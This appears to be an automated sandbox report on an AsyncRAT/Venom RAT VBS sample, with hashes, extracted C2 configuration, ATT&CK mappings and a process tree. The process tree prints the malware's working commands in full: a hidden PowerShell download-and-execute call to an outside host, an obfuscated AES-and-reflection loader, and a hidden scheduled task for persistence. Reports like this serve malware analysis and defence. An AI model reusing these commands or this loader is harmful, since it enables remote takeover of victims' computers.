asyncrat | 6ddb80d5f672a132f45f9a0114d465aa35bb7d3b31aca5473b42a7174eb018ff

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-12-2024 02:35

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General

Target

6ddb80d5f672a132f45f9a0114d465aa35bb7d3b31aca5473b42a7174eb018ff.vbs
Size

78KB
MD5

870907ad00a8f53e022f042c92727d34
SHA1

8789f00e533da9b0a8bd380b9264cfaefe8ff7bc
SHA256

6ddb80d5f672a132f45f9a0114d465aa35bb7d3b31aca5473b42a7174eb018ff
SHA512

32fbacd4338eced63990c4e0f7327fc3fc4282d497e95724445476f42acf8c1378238d345e5ba53afe86e39d860643657523b42cc5982832162e75cd7d68cde1
SSDEEP

1536:KbiY5vZc5xg80mnBAH5JQGnDc3GiXs/P0Uese0A+giS5+p:giUvQYONp3Gi8/PW0Ats

Score

10^/10

asyncrat hp elite execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

HP Elite

45.88.88.7:4675

Mutex

gbchkhrksazddij

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1592-64-0x000001E1CAB30000-0x000001E1CAB48000-memory.dmp	family_asyncrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
33	1592	powershell.exe
37	1592	powershell.exe
43	1592	powershell.exe
44	1592	powershell.exe
46	1592	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe
4240	powershell.exe
1592	powershell.exe
1224	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1224	powershell.exe
1224	powershell.exe
1764	powershell.exe
1764	powershell.exe
4240	powershell.exe
4240	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	powershell.exe
Token: SeSecurityPrivilege	4240	powershell.exe
Token: SeTakeOwnershipPrivilege	4240	powershell.exe
Token: SeLoadDriverPrivilege	4240	powershell.exe
Token: SeSystemProfilePrivilege	4240	powershell.exe
Token: SeSystemtimePrivilege	4240	powershell.exe
Token: SeProfSingleProcessPrivilege	4240	powershell.exe
Token: SeIncBasePriorityPrivilege	4240	powershell.exe
Token: SeCreatePagefilePrivilege	4240	powershell.exe
Token: SeBackupPrivilege	4240	powershell.exe
Token: SeRestorePrivilege	4240	powershell.exe
Token: SeShutdownPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeSystemEnvironmentPrivilege	4240	powershell.exe
Token: SeRemoteShutdownPrivilege	4240	powershell.exe
Token: SeUndockPrivilege	4240	powershell.exe
Token: SeManageVolumePrivilege	4240	powershell.exe
Token: 33	4240	powershell.exe
Token: 34	4240	powershell.exe
Token: 35	4240	powershell.exe
Token: 36	4240	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	powershell.exe
Token: SeSecurityPrivilege	4240	powershell.exe
Token: SeTakeOwnershipPrivilege	4240	powershell.exe
Token: SeLoadDriverPrivilege	4240	powershell.exe
Token: SeSystemProfilePrivilege	4240	powershell.exe
Token: SeSystemtimePrivilege	4240	powershell.exe
Token: SeProfSingleProcessPrivilege	4240	powershell.exe
Token: SeIncBasePriorityPrivilege	4240	powershell.exe
Token: SeCreatePagefilePrivilege	4240	powershell.exe
Token: SeBackupPrivilege	4240	powershell.exe
Token: SeRestorePrivilege	4240	powershell.exe
Token: SeShutdownPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeSystemEnvironmentPrivilege	4240	powershell.exe
Token: SeRemoteShutdownPrivilege	4240	powershell.exe
Token: SeUndockPrivilege	4240	powershell.exe
Token: SeManageVolumePrivilege	4240	powershell.exe
Token: 33	4240	powershell.exe
Token: 34	4240	powershell.exe
Token: 35	4240	powershell.exe
Token: 36	4240	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	powershell.exe
Token: SeSecurityPrivilege	4240	powershell.exe
Token: SeTakeOwnershipPrivilege	4240	powershell.exe
Token: SeLoadDriverPrivilege	4240	powershell.exe
Token: SeSystemProfilePrivilege	4240	powershell.exe
Token: SeSystemtimePrivilege	4240	powershell.exe
Token: SeProfSingleProcessPrivilege	4240	powershell.exe
Token: SeIncBasePriorityPrivilege	4240	powershell.exe
Token: SeCreatePagefilePrivilege	4240	powershell.exe
Token: SeBackupPrivilege	4240	powershell.exe
Token: SeRestorePrivilege	4240	powershell.exe
Token: SeShutdownPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeSystemEnvironmentPrivilege	4240	powershell.exe
Token: SeRemoteShutdownPrivilege	4240	powershell.exe
Token: SeUndockPrivilege	4240	powershell.exe
Token: SeManageVolumePrivilege	4240	powershell.exe
Token: 33	4240	powershell.exe
Token: 34	4240	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1592	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 1224	2372	WScript.exe	83
PID 2372 wrote to memory of 1224	2372	WScript.exe	83
PID 2372 wrote to memory of 1004	2372	WScript.exe	101
PID 2372 wrote to memory of 1004	2372	WScript.exe	101
PID 1004 wrote to memory of 3124	1004	cmd.exe	103
PID 1004 wrote to memory of 3124	1004	cmd.exe	103
PID 1004 wrote to memory of 1764	1004	cmd.exe	104
PID 1004 wrote to memory of 1764	1004	cmd.exe	104
PID 1764 wrote to memory of 4240	1764	powershell.exe	105
PID 1764 wrote to memory of 4240	1764	powershell.exe	105
PID 1764 wrote to memory of 1340	1764	powershell.exe	108
PID 1764 wrote to memory of 1340	1764	powershell.exe	108
PID 1340 wrote to memory of 1860	1340	WScript.exe	109
PID 1340 wrote to memory of 1860	1340	WScript.exe	109
PID 1860 wrote to memory of 756	1860	cmd.exe	111
PID 1860 wrote to memory of 756	1860	cmd.exe	111
PID 1860 wrote to memory of 1592	1860	cmd.exe	112
PID 1860 wrote to memory of 1592	1860	cmd.exe	112

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6ddb80d5f672a132f45f9a0114d465aa35bb7d3b31aca5473b42a7174eb018ff.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nVzb+ZnULdRKJ8Pt1u0INEzxzJ9SAW0T4lv8svV35z4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1TJD7feNK15qiqdG0L0ERw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FnHYa=New-Object System.IO.MemoryStream(,$param_var); $tuGjJ=New-Object System.IO.MemoryStream; $ZPygJ=New-Object System.IO.Compression.GZipStream($FnHYa, [IO.Compression.CompressionMode]::Decompress); $ZPygJ.CopyTo($tuGjJ); $ZPygJ.Dispose(); $FnHYa.Dispose(); $tuGjJ.Dispose(); $tuGjJ.ToArray();}function execute_function($param_var,$param2_var){ $PWDPu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rNYVG=$PWDPu.EntryPoint; $rNYVG.Invoke($null, $param2_var);}$mhqzu = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $mhqzu;$nhfYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($mhqzu).Split([Environment]::NewLine);foreach ($JOXWc in $nhfYw) { if ($JOXWc.StartsWith('gVggYAWWcClzlgdUqYRt')) { $eTtfZ=$JOXWc.Substring(20); break; }}$payloads_var=[string[]]$eTtfZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_483_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_483.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4240
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_483.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1340
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_483.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1860
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nVzb+ZnULdRKJ8Pt1u0INEzxzJ9SAW0T4lv8svV35z4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1TJD7feNK15qiqdG0L0ERw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FnHYa=New-Object System.IO.MemoryStream(,$param_var); $tuGjJ=New-Object System.IO.MemoryStream; $ZPygJ=New-Object System.IO.Compression.GZipStream($FnHYa, [IO.Compression.CompressionMode]::Decompress); $ZPygJ.CopyTo($tuGjJ); $ZPygJ.Dispose(); $FnHYa.Dispose(); $tuGjJ.Dispose(); $tuGjJ.ToArray();}function execute_function($param_var,$param2_var){ $PWDPu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rNYVG=$PWDPu.EntryPoint; $rNYVG.Invoke($null, $param2_var);}$mhqzu = 'C:\Users\Admin\AppData\Roaming\Windows_Log_483.bat';$host.UI.RawUI.WindowTitle = $mhqzu;$nhfYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($mhqzu).Split([Environment]::NewLine);foreach ($JOXWc in $nhfYw) { if ($JOXWc.StartsWith('gVggYAWWcClzlgdUqYRt')) { $eTtfZ=$JOXWc.Substring(20); break; }}$payloads_var=[string[]]$eTtfZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:756
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
b1e180583d3525f6534cc1110224a5fb

SHA1
b7cadce5826cdbe5b7a16cc6116522e7885882b7

SHA256
2e7e0e975fd986c9156ccaf646991dc1f1620e0330ff7b934dbdfd5a7c4567f7

SHA512
a8b64bd8c0709ae0440846e98d9e8023506c5fc3228c5a4bb2a5ae29bc310fb7cf833219766a1305b708bd7f1b21d76b3efa1169d5c7ffa09412d2a4bb600752

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
541a5e159ff40873705cb7ff14736a78

SHA1
bb700889966266b68f5d84531023fb11f1e794e1

SHA256
d111f2e0948557a56cc6867a41ca9d3a3d1294a30dfb6446e586e042aeeac89b

SHA512
f7fe93f1984e71b877ca8e956f9da322b5667a24a48419f34bbbfe3f9d7e5674d66aa8742de1e0b09a055cc75abcd255690313986efb52eeb63a5fb1f2aa64ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vptzh2l.20x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
70KB

MD5
b5d7889efc929af61649d13f17bf26ad

SHA1
44b1bb834ad5b3566dd4c758995bbedb2c2ba6b6

SHA256
3490b5a8d583c702b69506a047fc21135758b8dde44d77b9d102c3e4d4a4de01

SHA512
193db0b92d1595c8cfd3ecb31dd8cc2a23e3701319418a1b465bf0bc87c2708aedcd49b099bd6fe202bcca7a24f3df9bb792280abe95dce535e32f2f7ade4c3b

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_483.vbs

Filesize
115B

MD5
8144ea1e961e9d4aaa4b2e1c4f227490

SHA1
8b7edc79d3ac62abe6f44097461980b2522707f6

SHA256
c3cc13704d9e227a065862dc196e4e4eab80472b5c1c9a226fa4b65ddd5d818b

SHA512
7f3e121d7cf516e2393d70b5715fa8f14745afd5f994d2541278cd7ebf766223f07ee308c7c7e14a7e1b0407b274e9a013f5faeaef3ef07b7cc048db3ca25c4e

Download Submit
memory/1224-12-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp

Filesize
10.8MB

Download
memory/1224-16-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp

Filesize
10.8MB

Download
memory/1224-17-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp

Filesize
10.8MB

Download
memory/1224-13-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp

Filesize
10.8MB

Download
memory/1224-0-0x00007FFBB5143000-0x00007FFBB5145000-memory.dmp

Filesize
8KB

Download
memory/1224-11-0x00007FFBB5140000-0x00007FFBB5C01000-memory.dmp

Filesize
10.8MB

Download
memory/1224-10-0x0000021BFDCE0000-0x0000021BFDD02000-memory.dmp

Filesize
136KB

Download
memory/1592-64-0x000001E1CAB30000-0x000001E1CAB48000-memory.dmp

Filesize
96KB

Download
memory/1764-32-0x0000026EEAAD0000-0x0000026EEAB14000-memory.dmp

Filesize
272KB

Download
memory/1764-33-0x0000026EEABA0000-0x0000026EEAC16000-memory.dmp

Filesize
472KB

Download
memory/1764-34-0x0000026EEA730000-0x0000026EEA738000-memory.dmp

Filesize
32KB

Download
memory/1764-35-0x0000026EEA740000-0x0000026EEA752000-memory.dmp

Filesize
72KB

Download